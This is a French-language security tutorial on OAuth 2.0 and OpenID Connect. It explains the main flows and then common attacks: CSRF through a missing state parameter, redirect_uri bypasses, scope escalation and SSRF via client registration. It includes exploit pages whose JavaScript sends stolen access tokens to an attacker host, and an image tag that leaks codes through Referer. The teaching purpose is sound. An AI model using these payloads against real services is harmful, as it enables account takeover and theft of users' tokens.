Aller au contenu

OAuth 2.0

OAuth 2.0 est un framework d'autorisation qui permet à une application de demander un accès limité au compte d'un utilisateur hébergé sur un autre service, sans que l'utilisateur ne divulgue ses identifiants à l'application demandeuse. L'utilisateur choisit précisément les données qu'il partage, plutôt que de confier le contrôle complet de son compte à un tiers.

Conçu à l'origine pour le partage d'accès entre applications, OAuth est devenu un mécanisme d'authentification très répandu : c'est lui qui se cache le plus souvent derrière les boutons « Se connecter avec… » un compte de réseau social existant. Cette section se concentre sur les vulnérabilités de ce cas d'usage.

Les trois acteurs

Le flux OAuth orchestre une série d'interactions entre trois parties :

  • L'application cliente : le site ou l'application qui veut accéder aux données de l'utilisateur.
  • Le propriétaire de la ressource : l'utilisateur dont les données sont concernées.
  • Le fournisseur de services OAuth : le service qui détient les données et expose une API, un serveur d'autorisation et un serveur de ressources.

La manière dont ce flux se déroule est appelée grant type (type d'autorisation), ou flux OAuth. Les deux plus courants sont le code d'autorisation et l'implicite.

Flux par code d'autorisation

C'est le flux le plus sûr, recommandé pour les applications côté serveur. Le principe : l'application cliente et le service OAuth échangent d'abord des requêtes via des redirections du navigateur, l'utilisateur consent, l'application reçoit un code d'autorisation, puis l'échange contre un jeton d'accès via une communication serveur à serveur sécurisée — donc invisible pour l'utilisateur et hors de portée d'un attaquant.

1. Requête d'autorisation. L'application cliente dirige le navigateur vers le point de terminaison /authorization du service :

GET /authorization?client_id=12345&redirect_uri=https://client-app.example/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-server.example

Les paramètres notables : client_id identifie l'application cliente ; redirect_uri est l'URI de rappel vers laquelle le navigateur est redirigé — cible de nombreuses attaques ; response_type=code sélectionne ce flux ; scope définit les données demandées ; state contient une valeur imprévisible liée à la session, qui joue le rôle de jeton anti-CSRF.

2. Connexion et consentement. L'utilisateur se connecte au fournisseur et approuve l'accès demandé. Une fois un périmètre approuvé, l'étape devient automatique tant que la session reste active — d'où la reconnexion « en un clic ».

3. Réception du code. Le navigateur est redirigé vers l'URI de rappel avec le code en paramètre :

GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.example

4. Échange contre un jeton. L'application cliente échange le code contre un jeton via une requête POST serveur à serveur, en s'authentifiant avec son client_secret :

POST /token HTTP/1.1
Host: oauth-server.example

client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.example/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8

5. Appel d'API. Munie du jeton, l'application interroge le point de terminaison /userinfo en le présentant dans l'en-tête Authorization: Bearer pour récupérer les données de l'utilisateur.

Flux implicite

Le flux implicite est plus simple mais moins sûr : l'application reçoit le jeton d'accès immédiatement après le consentement, sans étape d'échange. Toutes les communications passent par des redirections du navigateur, sans canal sécurisé : le jeton sensible et les données utilisateur sont donc bien plus exposés.

La requête initiale est identique à celle du flux par code, à ceci près que response_type=token. Après consentement, le service redirige le navigateur en plaçant le jeton dans le fragment d'URL :

GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.example

Le fragment n'étant jamais envoyé au serveur, l'application doit l'extraire en JavaScript. Ce flux convient surtout aux applications monopages et aux applications natives, qui ne peuvent pas stocker un client_secret côté serveur.

Pourquoi des vulnérabilités apparaissent

OAuth est par nature vague et flexible : très peu de composants sont obligatoires, et l'essentiel de l'implémentation — y compris des paramètres de sécurité essentiels — est optionnel. Le framework comporte peu de protections intégrées : la sécurité repose presque entièrement sur la bonne combinaison d'options et sur des validations que les développeurs doivent ajouter eux-mêmes. Les erreurs sont donc fréquentes, et plusieurs flux font transiter des données sensibles par le navigateur.

Reconnaissance

Repérer OAuth est simple : un bouton de connexion via un compte tiers en est l'indice. Le plus fiable est d'inspecter le trafic dans Burp et de guetter la première requête du flux, vers /authorization, avec ses paramètres caractéristiques (client_id, redirect_uri, response_type).

Une fois le nom d'hôte du serveur d'autorisation connu, il faut tenter les points de terminaison de configuration standard, qui renvoient souvent un fichier JSON révélant des fonctionnalités non documentées :

/.well-known/oauth-authorization-server
/.well-known/openid-configuration

Implémentation incorrecte du flux implicite

Quand le flux implicite est utilisé pour une application client-serveur classique, l'application doit persister la session après réception du jeton. Pour cela, elle envoie typiquement les données de l'utilisateur (identifiant et jeton) au serveur via une requête POST, qui lui attribue alors un cookie de session. Le problème : le serveur n'a aucun secret à vérifier, il fait simplement confiance aux données soumises.

Cette requête POST passant par le navigateur, un attaquant peut la modifier. Si l'application ne vérifie pas que le jeton d'accès correspond bien aux autres données soumises, il suffit de changer l'identifiant dans la requête pour usurper l'identité de n'importe quel utilisateur.

Protection CSRF défectueuse (paramètre state manquant)

Le paramètre state devrait contenir une valeur imprévisible liée à la session, servant de jeton anti-CSRF. S'il est absent de la requête d'autorisation, un attaquant peut initier lui-même un flux OAuth puis pousser le navigateur de la victime à le poursuivre — exactement comme une attaque CSRF classique.

Le scénario type : un site permet de lier un compte existant à un profil de réseau social via OAuth. Sans state, l'attaquant intercepte le code généré en liant son propre compte social, puis fait consommer ce code par le navigateur de la victime — par exemple via une iframe cachée pointant vers le point de terminaison de liaison :

<iframe src="https://client-app.example/oauth-linking?code=CODE_DE_L_ATTAQUANT"></iframe>

Résultat : le compte de la victime sur l'application se retrouve lié au compte social de l'attaquant, qui peut alors s'y connecter.

Vol de codes et de jetons via redirect_uri

La vulnérabilité la plus connue d'OAuth réside dans une validation défaillante du redirect_uri. Si le service ne valide pas correctement cette URI, un attaquant peut, par une attaque de type CSRF, faire envoyer le code ou le jeton de la victime vers une URI qu'il contrôle.

Dans le flux par code, voler le code suffit souvent : l'attaquant le renvoie ensuite au point de terminaison de rappel légitime de l'application, qui effectue l'échange pour son compte et le connecte au compte de la victime — sans qu'il ait besoin du client_secret. Les protections state ou nonce ne suffisent pas toujours, l'attaquant pouvant générer ses propres valeurs.

Tester la validation du redirect_uri

Lors d'un audit, on teste différentes valeurs pour comprendre la validation :

  • Préfixe vérifié seulement. Si la validation se contente de vérifier que la chaîne commence par un domaine autorisé, on tente d'ajouter ou retirer des chemins, paramètres et fragments.
  • Différences d'analyse d'URL. On exploite la manière dont les composants interprètent différemment une URI, avec des constructions mêlant @ et # (voir les techniques de la section SSRF) :
    https://domaine-autorise.example &@foo.attaquant.example#@bar.attaquant.example/
    
  • Pollution de paramètres. On soumet un redirect_uri en double :
    ?client_id=123&redirect_uri=client-app.example/callback&redirect_uri=attaquant.example
    
  • Traitement spécial de localhost. Un domaine comme localhost.attaquant.example peut passer une validation laxiste qui autorise tout ce qui commence par localhost.
  • Combinaisons de paramètres. Modifier response_mode (de query à fragment) ou utiliser web_message change parfois entièrement l'analyse du redirect_uri et autorise des URI normalement bloquées.

Vol via une page proxy

Quand aucun domaine externe ne passe en redirect_uri, on cherche à pointer vers une autre page du domaine autorisé. La traversée de répertoires permet souvent de quitter le chemin OAuth pour atteindre une page arbitraire :

https://client-app.example/oauth/callback/../../autre/page

interprété côté serveur comme https://client-app.example/autre/page. On audite ensuite ces pages pour y trouver une faille qui exfiltre le code ou le jeton. Les plus utiles sont la redirection ouverte (qui sert de relais vers un domaine contrôlé), une faille XSS (le vol d'un jeton OAuth offre bien plus de temps qu'une session cookie protégée par HttpOnly), ou une injection HTML : un simple élément image suffit parfois, certains navigateurs envoyant l'URL complète — code compris — dans l'en-tête Referer :

<img src="https://attaquant.example">

Démonstration : vol de jeton via redirection ouverte

Lorsqu'on ne peut pas rediriger librement via redirect_uri, on combine la traversée de répertoires (pour atteindre une page contenant une redirection ouverte) et cette redirection (pour acheminer le jeton). Le schéma est : URL OAuth → demande de jeton → redirect_uri détournée par traversée → page à redirection ouverte → serveur de l'attaquant.

Une page piégée, hébergée par l'attaquant, déclenche le flux puis exfiltre le fragment reçu. La logique tient en une condition : au premier passage, on lance le flux ; au retour (le fragment est présent), on envoie son contenu vers un serveur contrôlé :

<script>
if (!document.location.hash) {
    window.location = 'https://oauth-server.example/auth?client_id=CLIENT&redirect_uri=https://client-app.example/oauth-callback/../post/next?path=https://attaquant.example/exploit&response_type=token&nonce=-1&scope=openid%20profile%20email';
} else {
    window.location = 'https://attaquant.example/?' + document.location.hash.substr(1);
}
</script>

document.location.hash.substr(1) récupère le jeton placé dans le fragment et le transmet dans l'URL de la requête sortante. Avec le jeton volé, on interroge ensuite directement le serveur de ressources via l'en-tête Authorization: Bearer.

Démonstration : vol de jeton via page proxy et postMessage

Variante plus avancée quand le redirect_uri n'est vulnérable qu'à la traversée de répertoires (on ne peut donc rediriger que vers des pages du site lui-même). Si une page du site — un formulaire dans une iframe, par exemple — utilise postMessage de façon non sécurisée en envoyant window.location.href à la fenêtre parente avec une origine cible générique (*), on exploite cette fuite :

<iframe src="https://oauth-server.example/auth?client_id=CLIENT&redirect_uri=https://client-app.example/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1&scope=openid%20profile%20email"></iframe>
<script>
window.addEventListener('message', function(e) {
    fetch("https://attaquant.example/" + encodeURIComponent(e.data.data))
}, false)
</script>

Au chargement de l'iframe, l'URL contient le jeton (la source pointe vers le flux OAuth) ; la page du site renvoie alors window.location.href à la fenêtre parente via postMessage ; l'écouteur de l'attaquant capte ce message et exfiltre le jeton. La barre oblique finale dans l'URL de fetch est importante, son absence pouvant casser les requêtes inter-origines.

Validation du scope défectueuse

L'utilisateur n'approuve qu'un périmètre donné, et le jeton ne devrait ouvrir que ce périmètre. Une validation défaillante permet pourtant d'élargir le scope d'un jeton.

Dans le flux par code, l'attaquant enregistre sa propre application cliente, puis ajoute un scope supplémentaire lors de l'échange code/jeton. Si le serveur ne le valide pas contre la requête initiale, il émet parfois un jeton au périmètre élargi :

POST /token
Host: oauth-server.example

client_id=ATTAQUANT&client_secret=SECRET&redirect_uri=...&grant_type=authorization_code&code=...&scope=openid%20email%20profile

Dans le flux implicite, le jeton transitant par le navigateur, l'attaquant ajoute simplement un paramètre scope à sa requête vers /userinfo. Tant que le périmètre élargi ne dépasse pas ce qui avait été accordé à l'application, il accède à des données supplémentaires sans nouvelle approbation.

Inscription utilisateur non vérifiée

L'application cliente suppose que les informations du fournisseur OAuth sont correctes. Si le fournisseur permet de créer un compte sans vérifier l'adresse e-mail, un attaquant crée un compte portant l'e-mail connu d'une victime, et l'application cliente le connecte alors en tant que cette victime.

OpenID Connect

OpenID Connect ajoute une couche d'identité standardisée par-dessus OAuth, comblant les lacunes de l'authentification « bricolée ». Sa différence principale du point de vue de l'application : un ensemble de scopes standardisés identiques chez tous les fournisseurs (openid, et en option profile, email, address, phone), et un type de réponse supplémentaire, l'id_token.

L'id_token est un JWT signé dont la charge utile contient les revendications sur l'utilisateur ainsi que des informations sur sa dernière authentification. Il évite une requête séparée pour récupérer les données utilisateur, et son intégrité repose sur la signature cryptographique plutôt que sur un canal de confiance. On repère OpenID Connect à la présence du scope obligatoire openid ; il vaut toujours la peine de tester si le service le prend en charge, même quand ce n'est pas affiché.

Vulnérabilités spécifiques

La spécification d'OpenID Connect étant plus stricte, les implémentations douteuses sont plus rares, mais quelques fonctionnalités introduisent des risques propres :

  • Enregistrement dynamique de client non protégé. La spécification définit un point de terminaison /registration où une application peut s'enregistrer via POST. Certains fournisseurs l'autorisent sans authentification, ce qui permet d'enregistrer une application malveillante. Plusieurs propriétés étant des URI que le fournisseur peut consulter (logo_uri, jwks_uri…), cela ouvre la voie à des SSRF de second ordre.
  • Requêtes d'autorisation par référence (request_uri). Certains fournisseurs acceptent de recevoir les paramètres via un JWT pointé par un paramètre request_uri. Cela représente un vecteur SSRF potentiel, et permet parfois de contourner la validation : un serveur peut valider correctement la chaîne de requête mais pas les paramètres contenus dans le JWT, redirect_uri compris.

Aide-mémoire

Faille Approche
Flux implicite mal vérifié Modifier l'identifiant dans la requête POST de session
state absent CSRF de liaison de compte via iframe cachée
redirect_uri mal validée Préfixe, différences d'analyse, doublon, localhost.*
URI verrouillée Traversée vers une page à redirection ouverte / XSS / injection HTML
Vol de jeton (implicite) Page proxy exfiltrant le fragment, fuite postMessage
Scope élargi Ajout de scope à l'échange (code) ou à /userinfo (implicite)
Inscription non vérifiée Création d'un compte avec l'e-mail de la victime
OpenID Connect Enregistrement dynamique non protégé, request_uri (SSRF)

La documentation du fournisseur OAuth et les fichiers de configuration /.well-known/ sont les premières ressources à consulter pour cartographier la surface d'attaque.